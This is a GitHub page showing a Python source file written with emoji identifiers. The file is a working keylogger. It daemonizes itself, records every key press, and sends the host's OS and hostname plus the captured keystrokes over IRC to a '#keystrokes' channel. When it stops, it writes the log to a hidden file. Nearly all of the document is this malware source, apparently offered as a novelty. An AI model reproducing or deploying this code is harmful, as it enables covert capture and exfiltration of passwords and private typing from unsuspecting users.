-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path🪵.🐍
134 lines (91 loc) · 3.42 KB
/
🪵.🐍
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
import threading as 🧵
import platform as 📱
import keyboard as ⌨
import daemon as 😈
import select as ☑️
import socket as 🔌
import time as 🕰️
🏢 = "localhost"
🚪 = 6667
🎚️ = "#keystrokes"
👤 = "emoji"
📁 = ".💼"
🏃♂️ = False
🔝 = 510 - 12 - len(🎚️)
class 🪵:
def __init__(self):
global 🏃♂️, 🏢, 🚪, 🎚️, 👤, 📁, 🧵, ⌨
self.📜 = ""
self.📖 = ""
🏃♂️ = True
self.🛜(🏢, 🚪, 🎚️, 👤)
self.🪡 = 🧵.Thread(target=self.🏓)
self.🪡.start()
⌨.on_press(self.👇)
⌨.wait("esc")
🏃♂️ = False
self.🏁(📁)
# Connect to IRC server and join channel
def 🛜(self, 🏢, 🚪, 🎚️, 👤):
global 🔌, 🕰️
📡 = 🔌.socket(🔌.AF_INET, 🔌.SOCK_STREAM)
📡.setblocking(False)
try:
📡.connect((🏢, 🚪))
except BlockingIOError:
pass
🕰️.sleep(3)
📡.send(bytes("USER " + 👤 + " * * : " + 👤 + "\r\n", "UTF-8"))
📡.send(bytes("NICK " + 👤 + "\r\n", "UTF-8"))
📡.send(bytes("JOIN " + 🎚️ + "\r\n", "UTF-8"))
📋 = self.ℹ️()
for 🪪 in 📋:
🕰️.sleep(0.3)
📡.send(bytes("PRIVMSG " + 🎚️ + " : " + 🪪 + "\r\n", "UTF-8"))
self.📡 = 📡
# On key press function
def 👇(self, 🧑🏽💻):
global 🔝
🔑 = 🧑🏽💻.name
# Do some readability adjustments
if 🔑 in ["enter", "space"]:
🔑 = " "
elif 🔑 == "backspace":
self.📜 = self.📜[:-1]
if len(🔑) == 1:
if ⌨.is_pressed("shift") or ⌨.is_pressed("caps lock"):
🔑 = 🔑.upper()
self.📜 += 🔑
# Send the captured keystrokes to the IRC server if the size reaches the maximum allowed length of an IRC message
self.📖 = self.📜[int(len(self.📜) / 🔝) * 🔝:]
if len(self.📖) >= 🔝 - 1:
self.📡.send(bytes("PRIVMSG " + 🎚️ + " : " + self.📖 + "\r\n", "UTF-8"))
# Get system information
def ℹ️(self) -> list[str]:
global 📱, 🔌
🔙 = []
📐, 💽 = 📱.architecture()
🔙.append("+---------------")
🔙.append(f"| OS: {📱.system()} {📱.release()} {📱.version()}")
🔙.append(f"| Architecture/Processor: {📐} {💽} {📱.processor()}")
🔙.append(f"| Hostname: {🔌.gethostname()}")
🔙.append("+---------------")
return 🔙
# Keep alive mechanism
def 🏓(self):
global 🏃♂️, ☑️, 🕰️
while 🏃♂️:
👁️🗨️, _, _ = ☑️.select(filter(lambda 🛰️: 🛰️.fileno() != -1, [self.📡]), [], [], 0)
if self.📡 in 👁️🗨️:
📲 = self.📡.recv(4096).decode()
if "PING" in 📲:
self.📡.send(bytes("PONG " + 📲.split(" ")[1] + "\r\n", "UTF-8"))
🕰️.sleep(1)
# Save captured keystrokes to file
def 🏁(self, 📁):
with open(📁, "w") as 📄:
📄.write(self.📜)
self.📡.close()
if __name__ == "__main__":
with 😈.DaemonContext():
🪵()